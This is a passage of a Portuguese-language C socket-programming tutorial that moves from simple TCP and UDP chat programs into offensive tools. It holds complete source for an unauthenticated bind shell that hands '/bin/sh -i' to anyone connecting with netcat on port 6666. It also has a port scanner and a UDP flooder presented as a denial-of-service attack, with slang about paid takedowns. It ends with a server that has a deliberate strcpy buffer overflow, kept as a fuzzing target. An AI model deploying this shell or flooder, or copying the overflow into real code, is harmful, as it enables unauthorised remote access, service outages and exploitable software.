if((newSock = accept (sock, (struct sockaddr *)&network, &strucsize))==1) {
perror("accept");
exit(1);
}
if (newSock == ERRO) {
perror ("Accept");
exit (0);
}
if(!fork()) {
printf ("Recebendo conexao de: %s\n", inet_ntoa (network.sin_addr));
//permite o cliente da uma entrada e a mostra, se a entrada for exit bula o laço "for" infinito
for (;;) {
recv (newSock, msgbuffer, TAMMAX, 0);
fprintf (stdout, "\nMensagem Recebida: %s\n", msgbuffer);
if (!strcmp (msgbuffer, "exit")) break;
}
}
}
}
}
---------------------------------- EOF
explicando
função recv
Usada para receber mensagens de um socket. Sua sintaxe eh:
int recv(int Meusocket, void *buf, int len, unsigned int flags);
onde:
Meusocket -> é o socket para ler de outro,no caso, um socket local.
buf -> Aqui é o endereço da área do buffer.
len -> é o tamanho do buffer.
flags -> são formados por MSG_OOB e MSG_PEEK permitindo receber dados
out-of-band e permitindo espiar dados que entram,
consequentemente. Esta chamada deve ser usada somente com
sockets do tipo SOCK_STREAM.
MSG_OOB -> Para dados oob(out-of-band).
MSG_WAITALL -> Este argumento faz com que seja bloqueada a
chegada de dados ateh que q requisicao seja
satisfeita.
flags podem ser:
MSG_OOB, MSG_PEEK, MSG_WAITALL, MSG_ERRQUEUE, MSG_NOSIGNAL.
agora o cliente para nosso servidor
papel dele é simples ele pega entrada do usuario e manda para o servidor
e continua na conexão enquando não digitar "exit"
---------------------------------- CODE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/wait.h>
#define PORTA 6666
#define ERRO -1
#define TAMMAX 250 //tamanho maximo da string
main (int argc, char * * argv) {
struct sockaddr_in network;
int sock,
newSock,
resp,
strucsize;
char msg [TAMMAX];
if (argc < 2) {
printf ("Use %s <host>\n\n", argv [0]);
exit (0);
}
sock = socket (AF_INET, SOCK_STREAM, 0);
if (sock == ERRO) {
perror ("Socket");
exit (0);
}
bzero ((char *)&network, sizeof (network));
network.sin_family = AF_INET;
network.sin_port = htons (PORTA);
network.sin_addr.s_addr = inet_addr (argv [1]);
strucsize = sizeof (network);
resp = connect (sock, (struct sockaddr *)&network, strucsize);
if (resp == ERRO) {
perror ("Connect");
exit (0);
}
fprintf (stdout, "Conectado em %s\n", argv [1]);
for (;;) {
printf ("\nMensagem: ");
fgets(msg, sizeof(msg), stdin);
msg[strlen(msg)-1] = '\0';
send (sock, msg, sizeof (msg), 0);
if (!strcmp (msg, "exit"))
{
exit (0);
}
}
}
---------------------------------- EOF
Rode servidor num terminal , e abra dois terminais e rode
./client ip_do_server mande mensagem pelos os dois e veja por si
o servidor rolando no terminal em que você executou ele. as dúvidas
geralmente vão com a prática então não fique triste se não rolar apenas
não desista,Se ajudar baixe uma musica ai do Raul Seixas chamada "tente
outra vez" ,sempre que estou desanimado escuto esta musica abro o GDB e
depuro o código leio um bom livro como Ansi C do K&R,dragon book entre
outros ai, entrar no IRC e conversar com alguem que tem mais experiência
também ajuda.
----------------------------------------------------------------------
+08 Servidor de comandos e Scanner de portas
----------------------------------------------------------------------
voltando aos exemplo de TCP com socket, um servidor de comandos não chega a ser um SSH nem tem
senha mais ajuda a entender vamos lá, mais um exemplo com fork...
---------------------------------- CODE
/*
GarageCode coolest things Hehehe
http://GarageCode.tk
*Function this programm
this simple Daemon Shell in C language with fork
*tested with GCC
i wheel on Unix/Linux/BSD this:
gcc -o program program.c; ./program
Author: "Cooler_"
contact: tony.unix@yahoo.com.br or c00f3r@gmail.com
license: GPL2
visit this site: http://BotecoUnix.com.br
Real Geeks BotecoUnix
greetz
Thanks _mlk_ , m0nad,IAK,Fox,edenc,D3lf0,zepplin and f0kerdebug.
,. |\ /|
today we dominate the world!! | \\ _ ///__ // | What i do Brain ?
_ _ | \\/_______\// |
/~\\ //~\ | Y | | ||Y |
| \\ // | | \| | |/ |
[ || || ] \ | o|o || /
] Y || || Y [ \__ \_--_ /___/
| \_|l,------.l|_/ | /.-\(____) /--.\
| >' `< | `--(______)----'
\ (/~`-^____^-'~\) / U// U / \
`-_>-_(@)__(@)_-<_-' / \ / / |
/ (__) \ ( .) / / /
\___/__\___/ `.`' / \ ART and CODE by Cooler_
/__`--'__\ |`-' |
/\(__,>-~~ __) | |__
/\//\\( `--~~ ) _l |--:.
'\/ <^\ /^> | ` ( < \\
_\ >-__-< /_ ,-\ ,-~~->. \ `:.___,/
(___\ /___) (____/ (____) `---'
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#define LISTENQ 1 // listen() backlog
int main (int argc, char *argv[])
{
int lsocket ; //listen()
int csocket ; // connect()
struct sockaddr_in laddr ; // estrutura do daemon
struct sockaddr_in caddr ;
socklen_t len ;
// pid do fork
pid_t pid ;
if((lsocket=socket(AF_INET, SOCK_STREAM, 0)) < 0) {
perror("socket error");
return(10);
}
len = sizeof(laddr) ;
memset(&laddr, 0, len) ;
laddr.sin_addr.s_addr = htonl(INADDR_ANY) ;
laddr.sin_family = AF_INET ;
laddr.sin_port = htons(6666) ;
if((bind(lsocket, (const struct sockaddr *)&laddr, len))) {
perror("bind error");
return(10);
}
if(listen(lsocket, LISTENQ)) {
perror("listen error");
return(10);
}
// nosso fork
if ((pid=fork()) == -1) {
perror("Fork #1");
return(20);
}
if (pid > 0) exit(0);
setsid() ;
len = sizeof(caddr);
if((csocket=accept(lsocket, (struct sockaddr *)&caddr, &len)) < 0) {
perror("socket accept");
abort();
}
dup2(csocket,0);
dup2(csocket,1);
dup2(csocket,2);
system("/bin/sh -i");
exit(0);
}
---------------------------------- EOF
testando
no server
gcc code code.c; ./code
no cliente "usamos o famoso netcat para entrar no servidor"
"nc ip_servidor 6666"
BINGO!
ultimo exemplo de socket, um port scanner feito pelo "m0nad"
---------------------------------- CODE
/*simples tcp connect scanner
por
m0nad [at] email.com
*/
#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
//#include <sys/socket.h>
void
erro (char *msg)
{
perror(msg);
exit (1);
}
void
uso (char *prog)
{
printf ("%s ip_alvo\n", prog);
exit (1);
}
void
inicia_alvo (struct sockaddr_in *nome, int port, char *host)
{
nome->sin_family = AF_INET;
nome->sin_port = htons (port);
nome->sin_addr.s_addr = inet_addr(host);
}
int
main (int argc, char **argv)
{
int sockfd, i, conex;
struct sockaddr_in alvo;
if (argc < 2)
uso(*argv);
for (i = 1; i < 65535; i++) {
sockfd = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
if ( sockfd < 0 )
error("SOCKET:");
inicia_alvo (&alvo, i, argv[1]);
conex = connect (sockfd, (struct sockaddr *)&alvo, sizeof alvo);
if ( conex == 0 )
printf ("porta %d aberta\n", i);
close (conex);
close (sockfd);
}
}
---------------------------------- EOF
acabamos com o clichê de estudo de sockets com este ultimo
exemplo de STREAM vamos ver apenas mais uns assuntos importantes
antes de ir para DGRAM,UDP!
----------------------------------------------------------------------
+09 Simple socket library
----------------------------------------------------------------------
Se você quer fazer simples servidores e clientes com sockets para enviar
mensagens, fazer portscans simples você pode desfrutar da biblioteca
"Simple socket library" vide aqui http://mysite.verizon.net/astronaut/ssl/
veja como é facil fazer um servidor e cliente;
A) O Server
#include "sockets.h"
Socket *srvr;
Socket *skt;
srvr= Sopen("srvrname","s"); /* abrindo server e chamando "srvrname" */
skt = Saccept(srvr); /* aceitando cliente */
Sputs("hello client",skt); /* mandando string para o cliente */
Sclose(skt); /* fechando a conexão aceita */
Sclose(srvr); /* fecha o server */
B) O Cliente
#include "sockets.h"
char buf[BUFSIZE];
Socket *client;
client= Sopen("srvrname","c"); /* abrindo cliente "srvrname"*/
Sgets(buf,BUFSIZE,client); /* pega string do server */
printf("server said <%s>\n",buf);/* mostra q o server mandou */
Sclose(client); /* fecha socket */
Download: http://mysite.verizon.net/astronaut/ssl/ssl-7.tar.bz2
vide sua documentação http://mysite.verizon.net/astronaut/ssl/sockets.ps
Claro que tem outras bibliotecas pelo mundo a fora,até no underground para
trabalhar com sockets para facilitar sua vida,isso ai mata o dragão que
muitos estavam com medo...
"UNIX é basicamente um simples sistema operacional, mas você tem que ser um
gênio para compreender a simplicidade." Dennis Ritchie
----------------------------------------------------------------------
+10 Explanação ao UDP e exemplo de Servidor e cliente
----------------------------------------------------------------------
O User Datagram Protocol (UDP) é um protocolo simples da camada de
transporte. Ele é descrito na RFC 768 e permite que a aplicação
escreva um datagrama encapsulado num pacote IPv4 ou IPv6, e então
enviado ao destino. Mas não há qualquer tipo de garantia que o pacote
irá chegar ou não.
O protocolo UDP não é confiável. Caso garantias sejam necessárias, é
preciso implementar uma série de estruturas de controle, tais como
timeouts, retransmissões, acknowlegments, controle de fluxo, etc.
Cada datagrama UDP tem um tamanho e pode ser considerado como um
registro indivisível, diferentemente do TCP, que é um protocolo
orientado a fluxos de bytes sem início e sem fim.
vou ilustrar
Cabecalho UDP
+-----------------------+-----------------------+
| Porta de origem | Porta de destino | \
| (16 bits) | (16 bits) | \
+-----------------------+-----------------------+ -- 8 bytes
| Tamanho | Checksum | /
| (16 bits) | (16 bits) | /
+-----------------------+-----------------------+
| | \
< Dados > -- Max. 65507 bytes
| (...) | / (teoricamente)
+-----------------------------------------------+
vamos exemplos com linhas comentadas
chega de teoria e vamos a prática,vamos fazer um servidor
---------------------------------- CODE
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#define LOCAL_SERVER_PORT 6666
#define MAX_MSG 100
int main(int argc, char *argv[]) {
int sd, rc, n, cliLen;
struct sockaddr_in cliAddr, servAddr;
char msg[MAX_MSG];
// criamos o socket usando SOCK_DGRAM para UDP
sd=socket(AF_INET, SOCK_DGRAM, 0);
if(sd<0) {
printf("%s: cannot open socket \n",argv[0]);
exit(1);
}
// bind no local
servAddr.sin_family = AF_INET;
servAddr.sin_addr.s_addr = htonl(INADDR_ANY);
servAddr.sin_port = htons(LOCAL_SERVER_PORT);
rc = bind (sd, (struct sockaddr *) &servAddr,sizeof(servAddr));
if(rc<0) {
printf("%s: cannot bind port number %d \n",
argv[0], LOCAL_SERVER_PORT);
exit(1);
}
printf("%s: waiting for data on port UDP %u\n",
argv[0],LOCAL_SERVER_PORT);
// loop infinito pra escuta
while(1) {
// buffer
memset(msg,0x0,MAX_MSG);
// separando dados
cliLen = sizeof(cliAddr);
n = recvfrom(sd, msg, MAX_MSG, 0,
(struct sockaddr *) &cliAddr, &cliLen);
if(n<0) {
printf("%s: cannot receive data \n",argv[0]);
continue;
}
//mostrando dados
printf("%s: from %s:UDP%u : %s \n",
argv[0],inet_ntoa(cliAddr.sin_addr),
ntohs(cliAddr.sin_port),msg);
}
return 0;
}
---------------------------------- EOF
agora vamos ao cliente para o mesmo
---------------------------------- CODE
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/time.h>
#define REMOTE_SERVER_PORT 6666
#define MAX_MSG 100
int main(int argc, char *argv[]) {
int sd, rc, i;
struct sockaddr_in cliAddr, remoteServAddr;
struct hostent *h;
// checamos o argumento
if(argc<3) {
printf("usage : %s <server> <data1> ... <dataN> \n", argv[0]);
exit(1);
}
// verificamos o Host
h = gethostbyname(argv[1]);
if(h==NULL) {
printf("%s: unknown host '%s' \n", argv[0], argv[1]);
exit(1);
}
printf("%s: sending data to '%s' (IP : %s) \n", argv[0], h->h_name,
inet_ntoa(*(struct in_addr *)h->h_addr_list[0]));
remoteServAddr.sin_family = h->h_addrtype;
memcpy((char *) &remoteServAddr.sin_addr.s_addr,
h->h_addr_list[0], h->h_length);
remoteServAddr.sin_port = htons(REMOTE_SERVER_PORT);
// criamos nossa socket repare só o SOCK_DGRAM isso por que vamos usar UDP
sd = socket(AF_INET,SOCK_DGRAM,0);
if(sd<0) {
printf("%s: cannot open socket \n",argv[0]);
exit(1);
}
// bind na porta
cliAddr.sin_family = AF_INET;
cliAddr.sin_addr.s_addr = htonl(INADDR_ANY);
cliAddr.sin_port = htons(0);
rc = bind(sd, (struct sockaddr *) &cliAddr, sizeof(cliAddr));
if(rc<0) {
printf("%s: cannot bind port\n", argv[0]);
exit(1);
}
// mandamos os dados
for(i=2;i<argc;i++) {
rc = sendto(sd, argv[i], strlen(argv[i])+1, 0,
(struct sockaddr *) &remoteServAddr,
sizeof(remoteServAddr));
if(rc<0) {
printf("%s: cannot send data %d \n",argv[0],i-1);
close(sd);
exit(1);
}
}
return 1;
}
---------------------------------- EOF
rode os dois programas um em cada terminal veja o funcionamento
tente intender o que esta ocorrendo,não é muito dificil já que o
mesmo esta comentado linha por linha...
----------------------------------------------------------------------
+11 Exemplo UDP Flood
----------------------------------------------------------------------
Bom UDP flood seria Denial of Service ou DoS é um ataque de negação de
serviço. Basicamente é quando você sobrecarrega uma determinada rede a
ponto de que ela se torne inacessível, ou seja você iria derrubar esta
rede. Você pode floodar com pacotes SYN,UDP,ACK... uma determinada
porta a fim de derrubar a rede. no nosso caso vamos usar UDP,no IRC o
público underground fala pacotar servidor X,assim evita falar "vamos
floodar para derrubar tal servidor",tem outras girias como "picar o rodo
já que não deu nada",pessoal faz muito isso é pago para fazer um serviço
não conseguiu fazer nenhum estrago, então simplesmente derruba o host
Lembrando ai que ataques UDP já tem muitos routers que tem proteção para
o mesmo IPtables do Linux tem uma configuração para fazer isso o packet
filter dos *BSD também não é muito dificil,qualquer firewall da block
neste tipo de ataque desde que seja
configurado...
vamos ao exemplo,esta com linhas comentadas
---------------------------------- CODE
/*
GarageCode coolest things Hehehe
http://GarageCode.tk
*Function this programm
this is a UDP flooder,i make it to study Sockets
*tested with GCC
i wheel on Unix/Linux/BSD this:
gcc -o program program.c; ./program host port
Author: "Cooler_"
contact: tony.unix@yahoo.com.br or c00f3r@gmail.com
license: GPL2
visit this site: http://BotecoUnix.com.br
Real Geeks BotecoUnix
greetz
Thanks _mlk_ , m0nad,IAK,Fox,edenc,D3lf0,zepplin and f0kerdebug.
,;~;,
/\_
( /
(()| //)
| \\ ,,;;'\ GAME OVER
__ _( )m=(((((((((((((================--------
/' ' '()/~' '.(, |
,;( )|| | ~
,;' \ /-(.;, ))
) / / ) //
// \\ |||
)_\ )_\ )_\\
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <stdarg.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define STRING "ola"
#define SIZE 50
int conecta(char *, short);
int conecta(char *server, short port) {
struct sockaddr_in sin;
struct hostent *host;
int sock;
host = gethostbyname(server);
if (host==NULL) {
printf(" host: %s invalido\n",server);
exit(0);
}
printf(" --> pacotando %s:%d\n ", server, port);
// setamos tudo para zero velho clichê blabla
bzero((char*) &sin,sizeof(sin));
bcopy(host->h_addr, (char *) &sin.sin_addr, host->h_length);
sin.sin_family = host->h_addrtype;
sin.sin_port = htons(port);
// olhe nosso dgram
sock = socket(AF_INET, SOCK_DGRAM, 0);
connect(sock,(struct sockaddr *) &sin, sizeof(sin));
return sock;
}
main(int argc, char **argv) {
int var;
if(argc != 3) {
fprintf(stderr, "\nUDP Flooder by Cooler_\nSiga o exemplo: %s host port\n",argv[0]);
exit(0);
}
var=conecta(argv[1], atoi(argv[2]));
//loop infinito
for(;;) {
// passamos a palavra a floodar e o seu tamanho
send(var, STRING, SIZE, 0);
}
}
---------------------------------- EOF
bom o assunto de UDP fica por aqui,praticamente acabou nossa aventura.
----------------------------------------------------------------------
+12 Conclusão
----------------------------------------------------------------------
Caros leitores passamos por STREAM e DGRAM as socket mais usadas
popularmente além de ter uma torrente de exemplos neste "paper",também
passei vários links de bibliotecas para facilitar certas tarefas não
deixe de estuda-las pois estas bibliotecas mostradas fazem a diferença.
Eu sei que ficou faltando muito material como ICMP e RAW Sockets,mas
vamos deixar isso para o próxima odisséia. bom estude os manuais do seu
sistema "man socket" aproveite que o sistema tem o código aberto caso
use BSD,Linux,OpenSolaris para estudar os internals,converse no IRC com
bons programadores crie você mesmo seu caminho, em Português você vai
encontrar pouco material sobre o mesmo e se achar vai ser redundante.
*caso queira estudar raw sockets
http://www.thebugmagazine.org/magazine/bug02/0x06_raw.txt
http://packetstormsecurity.nl/programming-tutorials/raw_socket.txt
Boa Sorte !!
----------------------------------------------------------------------
+13 Bibliografia
----------------------------------------------------------------------
http://www.br-c.org/
http://beej.us/guide/
----------------------------------------------------------------------
+14 Agradecimentos
----------------------------------------------------------------------
----> Pessoal do "BugSec" grupo que faço parte!
,, ,,
((((( )))))
(((((( ))))))
(((((( Overflow ))))))
(((((,e@@@@@@@@@@e,)))))
(((@@@@@@@@@@@@@@@@)))
\@@/,:::,\/,:::,\@@/
/@@@|:::::||:::::|@@@\
/ @@@\':::'/\':::'/@@@ \
/ /@@@@@@@//\\@@@@@@@\ \
( / '@@@@@@@@@@@@@@' \ )
\( / \ )/
\ ( ) / ('-.)' [Ruby](`'.) '
\ / ('-.)' (`'.)[ASM] '('-.)'
. ' . ('-.)' (`'.) '('-.)' (`'.) '
' .( '.) '[Flex+bison]('-.)' (`'.) '('-.)' (`'.) '
_ ('-.)' (`'.) '('-.)' (`'.) '('-.)'[Emacs] (`'.) (`'.) ''
|0|=======- -(. ')`[VIM]( .-`)(`'.) ',(-')'('-.)' (`'.) (`'.) '
.--`+'--. . (' -,).(') .('-.)' (`'.) '('-.)' (`'.)(`'.) [Python]' '
|`-----'| (' .) - ('. )[Perl]('-.)' (`'.) '('-.)' (`'.) '(`'.) '
| | . ('[PHP] `. )('-.)' (`'.)[REGEX] '('-.)' (`'.) '
| === | ` . `('-.)'[C/C++] (`'.) ('-.)' (`'.) ''
|BugSec | ('-.)' (`'.) '('-.)[AWK]' (`'.) '
| --- |
| | Art by Cooler_
| GDB |
| |
`-.___.-'
*m0nad grande amigo e por ter me ajudado a escrever a parte de TCP e term feito
um scanner de portas e sempre estar me ajudando no estudo da linguagem C
*_Mlk_ grande amigo me ajuda sempre domina muito SQL injection,me dá
dicas para xavecar mulheres bonitas
*IAK grande amigo me ajuda sempre mestre do C/C++
----> Diversos
voidpointer , edenc , ecl , isis, Cs0, muzgo , zepplin , nibbles , coracaodeleao,
6_Bl4ck9_f0x6 , d3lf0 ,f0kerDebug,Joey, Otacon_x86 , BackBone e deadside.
pessoal do BotecoUnix.com.br e compania
pessoal dos canais #c4ll,#c-br,#openbsd-br,#gentoo-br da freenode
.-, .-..-.__ __
.'(`.-` \_.-'-./` |\_( "\__
__.>\ '; _;---,._| / __/`'--)
/.--. : |/' _.--.<| / | | Homenagem Especial ao Dr4k3
_..-' `\ /' /` /_/ _/_/ grande Amigo desconectado em 2008
>_.-``-. `Y /' _;---.`|/)))) ===================================
'` .-''. \|: \.' __, .-'"`
.'--._ `-: \/: /' '.\ _|_
/.'`\ :; /' `- `-|-`
-` | | |
:.; : | .-'~^~`-.
|: | .' _ _ `.
|:. | | |_) | |_) |
:. : | | | \ | | |
.. : ;| | Dr4k3 |
-."-/\\\/:::. `\."-._'."-"_\\-| 06-08 |///."-
" -."-.\\"-."//.-".`-."_\\-.".-\\`=.........=`//-".
------------------------------------------------------------------------------------------
Saudades dos velhos tempos em que ficava no sofa sem me preocupar com nada jogando Mega Driver
jogos como Sonic,splatterhouse,street of rage e golden axe.
ligava a TV pela manhã via desenhos como thundercats,magaiver,giraia,tartarugas ninja,he-man,
swatkats,cdz,loney tunes.depois do almoço via filmes como de volta para o futuro,um morto muito
louco,bill e teddy,noite alucinante,contos da cripta depois soltava pipa,jogava bolinhas de gude
jogava num arcade perto de casa alguns jogos antigos e pinball em fim era muito feliz me divertia
com pouco, ó velhos tempos puros que nunca voltaram. hoje to ai na atividade estudando
compartilhando o pouco que sei de programação...
reclamações, perguntas,oportunidades de emprego para min,freelancer,doações...
Contato: c00f3r@gmail.com
me siga no twitter e seja feliz!
http://twitter.com/unixwarrior
===========================================================================================
15 codigos externos...
lembra o programa que testei o fuzzer ai esta ele
---------------------------------- CODE servidor vulnerável
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define BUFFER_SIZE 1024 // Tamanho do buffer de recebimento
#define BACKLOG 5 // Número de conexões na fila do servidor
/* Protótipos de funções */
/* Funções de processamento da mensagem recebida */
void process(char *buffer);
/* Função de saída em caso de erro */
void quit_with_error(char * error_message);
/* Rotina para fechamento das conexões e liberação dos sockets */
void cleanup(int socket_descriptor, int incoming_socket);
/* Ponto de entrada do programa */
int main(int argc, char *argv[]) {
/* Descritor do socket servidor */
int socket_descriptor = -1;
/* Buffer de recebimento */
char buffer[BUFFER_SIZE];
/* Descritor do socket de conexão com cliente */
int incoming_socket;
/* Registro para armazenar endereço do servidor */
struct sockaddr_in my_address;
/* Registro para armazenar endereço do cliente */
struct sockaddr_in their_address;
/* Porta em que o servidor irá escutar */
int server_port = 0;
/* Inteiro para armazenar o número de btyes recebidos a cada chamada de read(2) */
int message_length;
/* Flag utilizada para ligar o reuso da porta do servidor */
int i_want_reusable_ports = 1;
/* Inteiro utilizado para armazenar o tamanho da estrutura sockaddr */
int length;
/* Inteiro utilizado para indexar o buffer de recebimento */
int index;
/* Checagem de parámetros do servidor */
if (argc!=2) {
fprintf(stderr,"Sinopse: %s <porta>\n", argv[0]);
exit(1);
}
/* Obtenção da porta a partir da linha de comando */
server_port = atoi(argv[1]);
/* Criação de um socket TCP */
socket_descriptor = socket(AF_INET, SOCK_STREAM, 0);
/* Checagem da criação do socket TCP */
if (socket_descriptor < 0) {
cleanup(socket_descriptor, incoming_socket);
quit_with_error("Não foi possível abrir socket TCP.\n");
}
/* Ligação do reuso na porta utilizada pelo socket */
if (setsockopt(socket_descriptor, SOL_SOCKET, SO_REUSEADDR, &i_want_reusable_ports, sizeof(int))== -1) {
cleanup(socket_descriptor, incoming_socket);
quit_with_error("Não foi possível tornar a porta do socket reusável.\n");
}
/* Montagem do registro que armazena o endereço da máquina executando o servidor */
my_address.sin_family = AF_INET;
my_address.sin_port = htons(server_port);
my_address.sin_addr.s_addr = INADDR_ANY;
memset(&(my_address.sin_zero), '0', 8);
/* Alocação da porta fornecida para o socket servidor */
if (bind(socket_descriptor, (struct sockaddr *) &my_address, sizeof(my_address)) < 0) {
cleanup(socket_descriptor, incoming_socket);
quit_with_error("Não foi possível alocar porta para o socket.\n");
}
/* Socket em modo de escuta */
if (listen(socket_descriptor, BACKLOG) == -1) {
cleanup(socket_descriptor, incoming_socket);
quit_with_error("Não foi possível colocar o socket em modo de escuta\n.");
}
length = sizeof(my_address);
printf("Servidor vulnerável iniciado e em escuta...\n");
/* Laço infinito em que o servidor receberá requisições */
while (1) {
/* Buffer de recebimento é zerado a cada nova conexão */
for (index = 0; index < BUFFER_SIZE; index++)
buffer[index] = '\0';
/* Estabelecimento de conexão com o cliente */
if ((incoming_socket = accept(socket_descriptor, (struct sockaddr *) &their_address,&length)) == -1) {
cleanup(socket_descriptor, incoming_socket);
quit_with_error("Não foi possível aceitar conexão.\n");
}
/* Impressão de texto de depuração */
printf("Descritores dos sockets: Servidor: %d, Conexão: %d\n", socket_descriptor,incoming_socket);
printf("Conexão a partir de %s...\n", inet_ntoa(their_address.sin_addr));
send(incoming_socket, "Bem-vindo ao servidor vulnerável. Comporte-se...\n", 49, 0);
index = 0;
/* Leitura de mensagem enviada pelo cliente conectado */
while ((message_length = read(incoming_socket, buffer + index, 1)) > 0) {
index += message_length;
if (buffer[index - 1] == '\0')
break;
}
/* Impressão de texto de depuração */
printf("Descritores dos sockets: Servidor: %d, Conexão: %d\n", socket_descriptor,incoming_socket);
printf("Mensagem recebida: %s\n", buffer);
/* Chamada da função de processamento da mensagem recebida */
process(buffer);
/* Fechamento da conexão com o cliente */
close(incoming_socket);
}
/* Liberação do socket servidor */
cleanup(socket_descriptor, incoming_socket);
return 0;
}
/* Processamento da mensagem do cliente. Apenas efetua cópia da string para buffer local, que poderá ser utilizado por outra thread de execução */
void process(char *buffer) {
char local_buffer[1024];
strcpy(local_buffer, buffer);
}
void quit_with_error(char * error_message) {
fprintf(stderr, "%s", error_message);
exit(1);
}
void cleanup(int socket_descriptor, int incoming_socket) {
if (socket_descriptor != -1) {
close(socket_descriptor);
close(incoming_socket);
}
}
---------------------------------- EOF